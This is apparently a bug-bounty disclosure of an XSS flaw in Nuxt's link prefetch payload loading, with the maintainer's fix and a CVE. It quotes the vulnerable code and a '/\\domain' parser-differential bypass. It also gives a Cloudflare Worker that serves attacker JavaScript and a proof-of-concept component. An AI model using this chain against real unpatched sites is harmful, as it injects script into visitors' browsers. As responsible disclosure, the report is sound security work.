Link Preload XSS in nuxt/framework

Valid

Reported on

Oct 27th 2022


Description

Link preloads do not effectively confirm if the requested link is external.

Parser differentials can be used to bypass existing external URL check.

Root Cause

payload.client.ts contains the following code on link prefetch:

  nuxtApp.hooks.hook('link:prefetch', (url) => 
  {
    if (!parseURL(url).protocol) {
      return loadPayload(url)
    }
  })

The loadPayload function calls _getPayloadURL on the URL, transforming the URL:

function _getPayloadURL (url: string, opts: LoadPayloadOptions = {}) {
  const parsed = parseURL(url)
  if (parsed.search) {
    throw new Error('Payload URL cannot contain search params: ' + url)
  }
  const hash = opts.hash || (opts.fresh ? Date.now() : '')
  return joinURL(useRuntimeConfig().app.baseURL, parsed.pathname, hash ? `_payload.${hash}.js` : '_payload.js')
}

Finally, the URL is loaded in _importPayload.

async function _importPayload (payloadURL: string) {
  if (process.server) { return null }
  const res = await import(/* webpackIgnore: true */ /* @vite-ignore */ payloadURL).catch((err) => {
    console.warn('[nuxt] Cannot load payload ', payloadURL, err)
  })
  return res?.default || null
}

By using a URL such as /\mydomain.com we can have a URL with no protocol or search params that the browser will interpret as http://mydomain.com/_payload.js?import=

There are likely other parser differentials that would lead to XSS. These can be browser dependant.

Another similar exploit is possible when the link is clicked:

  // Load payload after middleware & once final route is resolved
  useRouter().beforeResolve(async (to, from) => {
    if (to.path === from.path) { return }
    const payload = await loadPayload(to.path)
    if (!payload) { return }
    Object.assign(nuxtApp.payload.data, payload.data)
  })

This version has no protocol check, however beforeResolve is only called on same page navigations, this is also fooled by the given example.

Exploitation

This vulnerability currently only exists on prerendered sites but there seem to be plans to have this feature on all modes.

Requirements:

  • NuxtLink component with user supplied input within the href or to props
  • Link must not have prefetch disabled
  • Must be running on a prerendered site (nuxi generate)
  • Payload extraction must be enabled (default true)
  • Connection must be "fast" (not on 2g).

First, set up a server to respond with a small javascript payload and a Access-Control-Allow-Origin: * header.

Cloudflare Worker Example

export interface Env {}

export default {
    async fetch(
        request: Request,
        env: Env,
        ctx: ExecutionContext
    ): Promise<Response> 
    {
        const r = new Response("alert('xss!')")

        r.headers.set('Content-Type', "application/javascript")
        r.headers.set('Access-Control-Allow-Origin', "*")

        return r;
    },
};

Next, create a link pointing to your site with the prefix /\. E.g /\mysite.com.

XSS will trigger when the link is observed by the browser.

Proof of concept

<template>
    <div>
        <NuxtLink :to="r.query.u">Your Link Here</NuxtLink>
    </div>
</template>

<script setup lang="ts">

    const r = useRoute() as any;

</script>

Navigate to URL: http://site/u?=/\io.bryces.io

Impact

This vulnerability only impacts static sites, meaning there is a fairly low likelihood that this vulnerability could occur. However there appear to be future plans to expand this feature to other modes where there would be far more impact.

Risk can be mitigated using a strict CSP.

We are processing your report and will contact the nuxt/framework team within 24 hours. 2 months ago
We have contacted a member of the nuxt/framework team and are waiting to hear back 2 months ago
We have sent a follow up to the nuxt/framework team. We will try again in 7 days. 2 months ago
OhB00
2 months ago

Researcher


Made a slight mistake in my report, while this vulnerability exists in RC12 the bypass is not required as the referenced protocol check does not exist (in this version).

In the soon to be released RC13 the protocol check does exist. The bypass works and can trigger the vulnerability.

However, given as RC13 is currently a draft I will not update the report's affected version until it is released for the sake of accuracy.

pooya parsa
2 months ago

Maintainer


Made https://github.com/nuxt/framework/pull/8675 to resolve this in the lowest level utility. Thanks for trough issue report as always <3

We have sent a second follow up to the nuxt/framework team. We will try again in 10 days. 2 months ago
OhB00
2 months ago

Researcher


Looks fixed to me, can we close this?

We have sent a third and final follow up to the nuxt/framework team. This report is now considered stale. 2 months ago
Daniel Roe validated this vulnerability a month ago
OhB00 has been awarded the disclosure bounty
The fix bounty is now up for grabs
The researcher's credibility has increased: +7
Daniel Roe marked this as fixed in v3.0.0-rc.13 with commit 19a2cd a month ago
The fix bounty has been dropped
This vulnerability has been assigned a CVE
Daniel Roe published this vulnerability a month ago
to join this conversation